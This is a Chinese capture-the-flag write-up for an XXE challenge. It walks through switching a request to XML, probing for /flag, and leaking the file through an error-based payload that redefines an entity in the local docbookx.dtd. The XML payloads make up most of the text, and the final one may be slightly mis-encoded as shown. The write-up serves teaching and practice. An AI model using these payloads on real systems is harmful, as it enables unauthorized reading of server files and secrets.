考点:通过xml的参数实体的路径爆错读取敏感信息
知识点:参考
这是不同系统本地可能含有的dtd文件,例如linux可能存在/usr/share/yelp/dtd/docbookx.dtd
并且该dtd中引用了一个ISOamsa参数实体,因此我们可以定义ISOamsa的内容进行某些攻击。
做题步骤
1.拿到题目点击submit抓包
发现是json格式的post上传,尝试是否可以用xml格式上传数据:
Content-type: application/xml
POST:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY test "135601360123502401401250" >
]>
<message>&test;</message>
成功回显,说明可能存在XXE漏洞
2.尝试测试本地存在的文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY test "135601360123502401401250" >
<!ENTITY % a SYSTEM "file:///flag" >
%a;
]>
<message>&test;</message>
可以发现,如果该文件存在时返回internal error,说明,文件被加载了,但是被xml中断了。因此flag存放在根目录下,接下来就要考虑如何读取。
3.读取flag文件
原理:
xml实体都是常数,如果定义了两个实体为同一个名字,则只有第一个实体会被使用。而在题目中,读取了一个错误的实体,会返回完整的实体名。
假设第一次读取**/flag
实体,第二次把/flag
的里的值当做实体来读取,明显/flag
的里的值**
这个实体不存在,然后就会报错返回,这样就拿到flag了。
接下来构造payload:
对实体内%,' ,&
进行unicode
编码防止报错,其中%
表示chr(0x25)的意思。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE message [
<!ELEMENT message ANY >
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd" >
<!ENTITY % ISOamsa '
<!ENTITY % flag SYSTEM "file:///flag">
<!ENTITY % getflag "<!ENTITY &#x25; test SYSTEM 'file:///aa/%flag;'>">
%getflag;
%test;
'>
%local_dtd;
]>
参考
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com